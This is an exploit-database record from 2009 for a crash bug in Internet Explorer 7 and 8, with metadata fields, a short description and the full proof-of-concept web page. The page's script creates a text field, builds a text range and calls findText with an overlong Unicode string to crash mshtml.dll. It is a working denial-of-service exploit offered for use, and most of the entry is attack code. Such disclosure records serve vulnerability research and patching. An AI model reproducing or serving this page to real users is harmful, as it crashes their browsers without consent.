IE findText crash

vendor:

Internet Explorer

by:

Hong10 & AmesianX

3,3

CVSS

LOW

MS Internet Explorer findText Unicode Parsing error

N/A

CWE

Product Name: Internet Explorer

Affected Version From: Internet Explorer 7

Affected Version To: Internet Explorer 8

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3

2009

The following bug was tested on the latest version of Internet Explorer 7/8. When a user clicks on the 'exploit' button, a text field is created with an ID of 'powerhacker' and a value of 'AAAA'. A text range is then created from the text field and a findText method is called with a Unicode string that is longer than the allocated stack memory. This causes a crash in Internet Explorer 7/8.

Mitigation:

N/A

Source

Exploit-DB raw data:

<meta http-equiv="Context-Type" content="text/html; charset=US-ASCII">
<!--
Contact:h0n9t3n@gmail.com,AmesianX@gmail.com
Title: MS Internet Explorer findText Unicode Parsing error
Vulnerability (mshtml.dll) 
Bug discovered: Hong10 
PoC code: AmesianX & Hong10 
Critical: low 
Impact: MS Internet Explorer 7/8 Crash 
Where: From remote 
Tested Operating System: Windows XP SP3 FULL PATCHED (Korean Language) 

Solution: I don't know.. 

Description: 
 The following bug was tested on the latest version of Internet 
Explorer 7/8. 

by research team NSHC
--> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><title>IE findText crash</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><body>
<input type="button" value="exploit" onclick="do_crash();">
Hit the button after ie7/8 crash..
<script>
function do_crash()
{
var o1=document.createElement("input");
o1.type="text";  //or password
o1.id="powerhacker";
o1.value="AAAA";
document.body.appendChild(o1);
var r= o1.createTextRange();
r.findText(unescape("%u4141%u4141%u4141%u4141%u4242%u4242%u4242%u4242%u4343%u4343%u4343%u4343%u4444%u4444%u4444%u4444%u4545%u4545%u4545%u4545"),-1);
//maybe string length allocated stack but over length allocated heap memory
//r.findText(unescape("%u4141%u4141%u4141%u4141%u4242%u4242%u4242%u4242%u4343%u4343%u4343%u4343%u4444%u4444%u4444%u4444%u4545%u4545%u4545%u4545"),-1,131072);
//this code is no crash becase 3 parameter 
}
</script>
</body></html>
<html><body></body></html>

# milw0rm.com [2009-07-24]